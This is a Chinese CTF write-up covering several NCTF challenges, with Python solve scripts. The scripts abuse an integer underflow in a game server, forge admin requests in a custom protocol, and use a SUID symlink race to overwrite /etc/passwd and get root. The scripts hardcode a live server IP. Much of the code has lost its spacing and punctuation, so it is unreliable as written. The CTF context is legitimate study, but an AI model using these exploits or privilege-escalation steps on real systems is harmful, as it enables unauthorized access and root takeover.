x9a0xba0xba0xba0xba0xb50xc0xfe0x9e0x9a0x320xfe0x9e0xb50xb50xc0xfe0x9e0xb70x7b0x420xb80x390x5a0x850x320xfe0x9e0xb30xb50xc0xfe0x9e0xb70x390x5a0xb90x7b0x5a0xbe0xb50xc0xf60x9e0xb40x7b0x430xbe0x390x5b0xb50xb10x7b0x320xfe0x9e0xb00xb50xc0xfe0x9e0xb40x390x5a0xb50x7b0x5a0xb80xb50xc0xf60x9e0xb50x7b0x430xbc0x390x5b0xb90xb10x7b0x320xfe0x9e0xb10xb50xc0xfe0x9e0xb50x390x5a0x850x320xfe0x9e0xb60xb50xc0xfe0x9e0xb30x320xfe0x9e0xb20xb50xc0xfe0x9e0xb00x320xfe0x9e0xb30xb50xc0xfe0x9e0xb20x320xfe0x9e0xb00xb50xc0xfe0x9e0xb10x320xfe0x9e0xb20xb50xc0xfe0x9e0xb60x320xfe0x9e0xb10xb50xc0xfe0x9e0xb20x320xfe0x9e0xb60xb50xc0xfe0x9e0xb30xf20xd90xf60x9e0xbe0xb50xc0x3e0xbe0xa0xba0xba0xba0x320xfe0xb60xca0x310xfe0x9e0xbe0x450x7a0x330xfe0x9e0xbe0xb50xc0xfe0x9e0xb00xf20xd90xf60x9e0xbe0xb50xc0x3e0xbe0xa0xba0xba0xba0x320xfe0xb60xca0x310xfe0x9e0xbe0x450x7a0x330xfe0x9e0xbe0x310xbe0x9e0x450x7a0x810xfe0x9e0xae0xc70x980xb50xc0xfe0x9e0xb10xf20xd90xf60x9e0xbe0xb50xc0x3e0xbe0xa0xba0xba0xba0x320xfe0xb60xca0x310xfe0x9e0xbe0x450x7a0x330xfe0x9e0xbe0x510xae0xf20xd90xfe0x9e0xbe0x7c0xfe0xbe0xca0x870x310xfe0x9e0xbe0x450x7a0x330xfe0x9e0xbe0x310xbe0x9e0x390x7a0xb80x810xfe0x9e0xae0xc70x980xb50xc0xfe0x9e0xb60xf20xd90xf60x9e0xbe0xb50xc0x3e0xbe0xa0xba0xba0xba0x320xfe0xb60xca0x310xfe0x9e0xbe0x450x7a0x330xfe0x9e0xbe0x510xae0xf20xd90xfe0x9e0xbe0x7c0xfe0xbe0xca0x870x310xfe0x9e0xbe0x450x7a0x330xfe0x9e0xbe0x530xa30x440x450x450x7d0xbe0x9e0xba0xba0xba0xba0x510xb20x310xbe0x9e0x450x7a0x330xbe0x9e0x310xfe0x9e0xbe0x830xbe0x9e0xc70xa00xf20xd90xbe0x9e0xf20xd90xb60x9e0xf20x310x2e0x9e0xa20xbb0xba0xba0xb50xc0xfe0xbe0xca0x320xbe0xb00x510x6f0x7d0xfe0x9e0xa20xae0xff0xab0xba0x7d0xbe0x9e0xba0xba0xba0xba0x510xb20x310xbe0x9e0x450x7a0x330xbe0x9e0x310xfe0x9e0xbe0x830xbe0x9e0xb50x370x290xba0xba0xba0x310xbe0x9e0x7b0x5a0xb90x230x30xa20xba0xba0xba0x4d0x430x310x780xb50xc0x720x310xfe0x9e0xa20x690x520x9f0x450xba0xba0xba0xf20xd90xb60x9e0xf20x310x2e0x9e0xa20xbb0xba0xba0xb50xc0xb60xb00x890x720x310x7b0xf20xd90xb60x9e0xf20x310x2e0x9e0xa20xbb0xba0xba0x320xbe0xb00xf20xd90xbe0x9e0xf20x310x360x9e0xa20xbb0xba0xba0xb50xc0xbe0xbb0x7b0x5a0xb80xf20xd90xb60x9e0xf20x310x2e0x9e0xa20xbb0xba0xba0xb50xc0xb60xb00x7b0x430xbc0xb10x7b0x8f0x00xba0xba0xba0xf20xd90xb60x9e0xf20x310x2e0x9e0xa20xbb0xba0xba0x320xbe0xb00xd30xfe0x9e0xa20x290xbb0xbb0xbb0xbf0xc20xec0x8e0xa80x330xfe0x9e0xa20x530xe20x450x450x450xf20x310x3e0x9e0x9a0xbb0xba0xba0x310xf60x9e0xbe0x330xb20xf20x3b0x7e0xb20xbb0xba0xba0x79]
defdecrypt_blob():
    dec = []
for i in range(0x491):
        dec.append(IDA_7ffc3254f000[i] ^ 0xba)
return dec
with open("dec.bin""wb"as f:
    f.write(bytes(decrypt_blob()))

鸡爪流高手

请求格式:

"GAME" | u32be(total_len) | u8(cmd) | payload

响应格式:

"GAME" | u32be(total_len) | u8(status) | utf8_text

命令:

  • 1:如果自己是榜一,返回 flag

  • 2:查看自己分数和排名

  • 3:查看排行榜附近

  • 4:重置挑战状态

  • 5:随机匹配对手

  • 6:查看棋盘

  • 7:下棋,payload 是 %d,%d

  • 8:认输

player 初始化时,自己为 50 分,其余为 50 40 30 20 20 10 2000000

在给自己的分数调用函数 score_apply_buggy_update 中存在下溢漏洞,让自己分数变成负的就够拿第一了:

思路:

开局 reset 后是 50 分,赢 10 分对手,自己 50 -> 53,对手 10 -> 7 , 输 20 分对手,自己 53 -> 37,再输另一个 20 分对手,自己 37 -> 23 ,输 30 分对手,自己 23 -> 15 ,输已经变成 38 分的对手,自己 15 -> 10 ,最后输给已经变成 7 分的对手,delta = -11,自己 10 + (-11) 下溢成 4294967295 ,之后直接读指令即可。

没抽到想要的分数可以直接认输重抽。

赢法:找个边连下 4 个即可。

eg: (10,14) (11,14) (12,14) (13,14) (14,14)

输法:随便下,不用管。

eg: (14,14) (12,14) (10,14) (8,14) (6,14)

#!/usr/bin/env python3
import argparse
import re
import socket
import struct
MAGIC = b"GAME"
WIN = [(1014), (1114), (1214), (1314), (1414)]
LOSE = [(1414), (1214), (1014), (814), (614)]
PLAN = [
    (10"Win", WIN),
    (20"Lose", LOSE),
    (20"Lose", LOSE),
    (30"Lose", LOSE),
    (38"Lose", LOSE),
    (7"Lose", LOSE),
]
MATCH_RE = re.compile(r"^Matched (.+) Score=(\d+) You=Black$")
defpkt(cmd: int, payload: bytes = b"") -> bytes:
return MAGIC + struct.pack(">I"9 + len(payload)) + bytes([cmd]) + payload
defrecv_exact(sock: socket.socket, n: int) -> bytes:
    out = b""
while len(out) < n:
        chunk = sock.recv(n - len(out))
ifnot chunk:
raise EOFError("connection closed")
        out += chunk
return out
defreq(sock: socket.socket, cmd: int, payload: bytes = b"", verbose: bool = False) -> str:
    sock.sendall(pkt(cmd, payload))
    head = recv_exact(sock, 9)
if head[:4] != MAGIC:
raise RuntimeError(f"bad magic: {head[:4]!r}")
    size = struct.unpack(">I", head[4:8])[0] - 9
    body = recv_exact(sock, size).decode("utf-8", errors="replace")
if verbose:
        print(f"[{cmd}{body}")
return body
defpick_score(sock: socket.socket, target: int, verbose: bool) -> tuple[str, int]:
whileTrue:
        text = req(sock, 5, verbose=verbose)
        m = MATCH_RE.match(text)
ifnot m:
raise RuntimeError(f"bad match reply: {text!r}")
        name, score = m.group(1), int(m.group(2))
        print(f"match {name} score={score}")
if score == target:
return name, score
        text = req(sock, 8, verbose=verbose)
ifnot text.startswith("Draw Delta=0 "):
raise RuntimeError(f"redraw failed: {text!r}")
defplay(sock: socket.socket, moves: list[tuple[int, int]], expect: str, verbose: bool) -> str:
    last = ""
for x, y in moves:
        last = req(sock, 7f"{x},{y}".encode(), verbose=verbose)
ifnot last.startswith("Continue "):
break
ifnot last.startswith(expect + " "):
raise RuntimeError(f"expected {expect}, got {last!r}")
return last
defmain() -> None:
    ap = argparse.ArgumentParser(description="Exploit")
    ap.add_argument("--host", default="114.66.24.221")
    ap.add_argument("--port", type=int, default=33589)
    ap.add_argument("--verbose", action="store_true")
    args = ap.parse_args()
    sock = socket.create_connection((args.host, args.port))
try:
        print(req(sock, 4, verbose=args.verbose))
        print(req(sock, 2, verbose=args.verbose))
for target, outcome, moves in PLAN:
            name, _ = pick_score(sock, target, args.verbose)
            print(f"target={target} opponent={name} outcome={outcome}")
            print(play(sock, moves, outcome, args.verbose))
            print(req(sock, 2, verbose=args.verbose))
        print(req(sock, 1, verbose=args.verbose))
finally:
        sock.close()
if __name__ == "__main__":
    main()

Misc:

Merlin

NCTF{88478dd1-ec24-4f2b-a4a5-a25e85b5c868}

What a mess!

import csv
import re
import unicodedata
from decimal import Decimal, InvalidOperation
ZW_RE = re.compile(r"[\u200b\u200c\u200d\ufeff]")
ALLOWED_PREFIXES = {
"135",
"136",
"137",
"138",
"139",
"150",
"151",
"152",
"158",
"159",
"186",
"188",
}
ID_WEIGHTS = [7910584216379105842]
ID_CHECK_MAP = "10X98765432"
defnormalize_text(value: str) -> str:
return ZW_RE.sub("", unicodedata.normalize("NFKC", value or"")).strip()
defnormalize_phone(value: str) -> str:
    digits = "".join(ch for ch in normalize_text(value) if ch.isdigit())
if len(digits) == 13and digits.startswith("86"):
        digits = digits[2:]
return digits
defis_valid_phone(phone: str) -> bool:
return len(phone) == 11and phone[:3in ALLOWED_PREFIXES
defnormalize_id_card(value: str) -> str:
return normalize_text(value).replace(" """).upper()
defis_valid_id_card(id_card: str) -> bool:
if len(id_card) != 18:
returnFalse
ifnot id_card[:17].isdigit():
returnFalse
if id_card[-1notin"0123456789X":
returnFalse
    total = sum(int(ch) * weight for ch, weight in zip(id_card[:17], ID_WEIGHTS))
return ID_CHECK_MAP[total % 11] == id_card[-1]
defnormalize_balance(value: str):
    cleaned = normalize_text(value)
for token in ("CNY""¥"","):
        cleaned = cleaned.replace(token, "")
try:
return Decimal(cleaned)
except InvalidOperation:
returnNone
defis_li_surname(name: str) -> bool:
return name.startswith("李"or bool(re.match(r"(?i)^li(?=[^a-z]|$)", name))
defmain():
    deduped = []
    seen = set()
with open("customer_dump.csv""r", encoding="utf-8-sig", newline=""as f:
        reader = csv.DictReader(f)
for row in reader:
            record = (
                normalize_text(row["Name"]),
                normalize_id_card(row["ID_Card"]),
                normalize_phone(row["Phone"]),
                normalize_balance(row["Balance"]),
            )
if record in seen:
continue
            seen.add(record)
            deduped.append(record)
    q1 = 0
    q2 = 0
    q3 = 0
    q4 = Decimal("0")
    q5 = 0
for name, id_card, phone, balance in deduped:
        phone_ok = is_valid_phone(phone)
        id_ok = is_valid_id_card(id_card)
if phone_ok:
            q1 += 1
if id_ok:
            q2 += 1
ifnot (phone_ok and id_ok):
continue
        q3 += 1
if balance isnotNoneand balance >= 0:
            q4 += balance
if is_li_surname(name):
            q5 += 1
    print(q1)
    print(q2)
    print(q3)
    print(f"{q4:.2f}")
    print(q5)
if __name__ == "__main__":
    main()

ezProtocol

  • 协议文件给出关键常量:

  • Magic = 0x47414D45,即 GAME

  • TypeAuth = 0x01

  • TypeQuery = 0x02

  • TypeGetFlag = 0x03

  • HeaderSize = 10

  • Key = []byte{0x4e, 0x43, 0x54, 0x46},即 NCTF

  • 抓包中应用层数据都以 GAME 开头,说明协议结构就是:

  • 4 bytes magic

  • 1 byte type

  • 1 byte payload_len

  • 4 bytes checksum

  • payload

  • 还原后确认:

  • 负载是 JSON

  • 负载加密方式是按字节异或:payload[i] ^ "NCTF"[i%4]

  • 校验方式是:crc32(header(校验字段置0) + encrypted_payload),大端

抓包还原的关键明文

{"username":"ctfer","password":"NCTF2026"}

利用思路

  1. 先发送 TypeAuth(0x01),使用抓包恢复出的合法账号:

  • {"username":"ctfer","password":"NCTF2026"}

  1. 服务端返回:

  • {"message":"Authenticated","status":"ok"}

  1. 保持同一 TCP 连接,发送 TypeGetFlag(0x03):

  • {"username":"admin","password":"x"}

  1. 服务端只检查当前连接已登录,同时错误地信任请求体中的 username=admin

  2. 返回 flag

#python solve_ezProtocol.py 114.66.24.221 48082 --mode auth
import argparse
import json
import socket
import struct
import zlib
MAGIC = b"GAME"
KEY = b"NCTF"
TYPE_AUTH = 0x01
TYPE_QUERY = 0x02
TYPE_GETFLAG = 0x03
defxor_payload(data: bytes) -> bytes:
return bytes(data[i] ^ KEY[i % len(KEY)] for i in range(len(data)))
defbuild_packet(msg_type: int, payload_obj: dict) -> bytes:
    payload = json.dumps(payload_obj, separators=(","":")).encode()
    enc_payload = xor_payload(payload)
    header = bytearray(MAGIC + bytes([msg_type, len(enc_payload)]) + b"\x00\x00\x00\x00")
    checksum = zlib.crc32(header + enc_payload) & 0xFFFFFFFF
    header[6:10] = struct.pack(">I", checksum)
return bytes(header) + enc_payload
defrecv_packet(sock: socket.socket) -> tuple[int, dict]:
    header = recv_exact(sock, 10)
if header[:4] != MAGIC:
raise ValueError(f"bad magic: {header[:4]!r}")
    msg_type = header[4]
    length = header[5]
    recv_checksum = struct.unpack(">I", header[6:10])[0]
    payload = recv_exact(sock, length)
    verify_header = bytearray(header)
    verify_header[6:10] = b"\x00\x00\x00\x00"
    calc_checksum = zlib.crc32(bytes(verify_header) + payload) & 0xFFFFFFFF
if calc_checksum != recv_checksum:
raise ValueError(f"checksum mismatch: got {recv_checksum:#x}, expect {calc_checksum:#x}")
    plain = xor_payload(payload)
return msg_type, json.loads(plain.decode())
defrecv_exact(sock: socket.socket, n: int) -> bytes:
    chunks = []
    remain = n
while remain:
        chunk = sock.recv(remain)
ifnot chunk:
raise ConnectionError("connection closed before packet completed")
        chunks.append(chunk)
        remain -= len(chunk)
returnb"".join(chunks)
defexchange(sock: socket.socket, msg_type: int, payload_obj: dict) -> dict:
    sock.sendall(build_packet(msg_type, payload_obj))
    _, resp = recv_packet(sock)
return resp
defmode_direct(sock: socket.socket) -> list[dict]:
    steps = []
    steps.append(exchange(sock, TYPE_GETFLAG, {"username""admin""password""x"}))
return steps
defmode_auth_then_admin(sock: socket.socket) -> list[dict]:
    steps = []
    steps.append(exchange(sock, TYPE_AUTH, {"username""ctfer""password""NCTF2026"}))
    steps.append(exchange(sock, TYPE_GETFLAG, {"username""admin""password""x"}))
return steps
defmode_session_confusion(sock: socket.socket) -> list[dict]:
    steps = []
    sock.sendall(
        build_packet(TYPE_AUTH, {"username""ctfer""password""NCTF2026"})
        + build_packet(TYPE_AUTH, {"username""admin""password""x"})
    )
    steps.append(recv_packet(sock)[1])
    steps.append(recv_packet(sock)[1])
    steps.append(exchange(sock, TYPE_GETFLAG, {"username""admin""password""x"}))
return steps
defmain() -> None:
    parser = argparse.ArgumentParser(description="ezProtocol solver")
    parser.add_argument("host", help="target host")
    parser.add_argument("port", type=int, help="target port")
    parser.add_argument(
"--mode",
        choices=["direct""auth""confusion"],
        default="direct",
        help="direct: send getflag as admin directly; auth: auth as ctfer then getflag as admin; confusion: replay the dual-auth pattern from the pcap",
    )
    args = parser.parse_args()
with socket.create_connection((args.host, args.port), timeout=5as sock:
if args.mode == "direct":
            responses = mode_direct(sock)
elif args.mode == "auth":
            responses = mode_auth_then_admin(sock)
else:
            responses = mode_session_confusion(sock)
for idx, resp in enumerate(responses, 1):
        print(f"[step {idx}{json.dumps(resp, ensure_ascii=False)}")
if __name__ == "__main__":
    main()

Quantum Vault

将初始 100 USD 转换为高汇率币种,再去collect,然后去拿shell

import re
import select
import socket
import sys
import time
HOST = "114.66.24.221"
PORT = 46978
PROMPT_RE = re.compile(rb"\d+@[A-Z]+> ")
ANSI_RE = re.compile(rb"\x1b\[[0-9;]*m")
TIMEOUT_MARK = "量子链路超时".encode()
defstrip_ansi(data: bytes) -> str:
return ANSI_RE.sub(b"", data).decode("utf-8", errors="replace")
classClient:
def__init__(self, host: str, port: int):
        self.sock = socket.create_connection((host, port), timeout=5)
        self.sock.setblocking(False)
def_recv_until(self, idle: float, total: float) -> bytes:
        buf = b""
        start = time.time()
        last = start
whileTrue:
            now = time.time()
if now - start > total:
break
            timeout = min(idle, total - (now - start))
            readable, _, _ = select.select([self.sock], [], [], timeout)
ifnot readable:
if buf and time.time() - last >= idle:
break
continue
            chunk = self.sock.recv(4096)
ifnot chunk:
break
            buf += chunk
            last = time.time()
if PROMPT_RE.search(buf) or TIMEOUT_MARK in buf:
break
return buf
defrecv_until_prompt(self) -> bytes:
return self._recv_until(idle=0.2, total=8.0)
defcmd(self, line: str) -> str:
        self.sock.sendall(line.encode() + b"\n")
return strip_ansi(self.recv_until_prompt())
defrecv_some(self, wait: float) -> str:
return strip_ansi(self._recv_until(idle=wait, total=wait))
defclose(self) -> None:
try:
            self.sock.close()
except OSError:
pass
defmain(argv: list[str]) -> int:
    cli = Client(HOST, PORT)
try:
        banner = strip_ansi(cli.recv_until_prompt())
        sys.stdout.write(banner)
for cmd in argv[1:]:
            sys.stdout.write(f"$ {cmd}\n")
if cmd.startswith("WAIT "):
                wait = float(cmd.split(" "1)[1])
                sys.stdout.write(cli.recv_some(wait))
else:
                sys.stdout.write(cli.cmd(cmd))
finally:
        cli.close()
return0
if __name__ == "__main__":
raise SystemExit(main(sys.argv))

找能提权的东西

发现/usr/local/bin/q-vault-sync,这玩意允许将一个文件“同步”到 /tmp/ 目录下的子目录中。

mkdir -p /tmp/exploit
echo "test" > /tmp/mykey
# 终端 1: 疯狂切换文件与软链接
while true; do 
    touch /tmp/exploit/synced_key.dat; 
    rm /tmp/exploit/synced_key.dat; 
    ln -s /etc/passwd /tmp/exploit/synced_key.dat; 
    rm /tmp/exploit/synced_key.dat; 
done &
# 终端 2: 疯狂运行 SUID 程序直到成功
while true; do 
    /usr/local/bin/q-vault-sync -s /tmp/mykey -d /tmp/exploit 2>/dev/null
    ls -l /etc/passwd | grep ctfuser && break
done

然后去改密码

cp /etc/passwd /tmp/passwd.bak 
cat /etc/passwd | sed 's/^root:x:/root::/' > /tmp/passwd.new 
cat /tmp/passwd.new > /etc/passwd
python3 -c 'import pty; pty.spawn("/bin/bash")'
su root 

结束

招新小广告

ChaMd5 Venom 招收大佬入圈

新成立组IOT+工控+样本分析 长期招新

欢迎联系[email protected]

图片

跳转微信打开

原始链接: https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247514249&idx=1&sn=4908872cb3350a330c26c64283425c0e
侵权请联系站方: [email protected]

相关推荐

换一批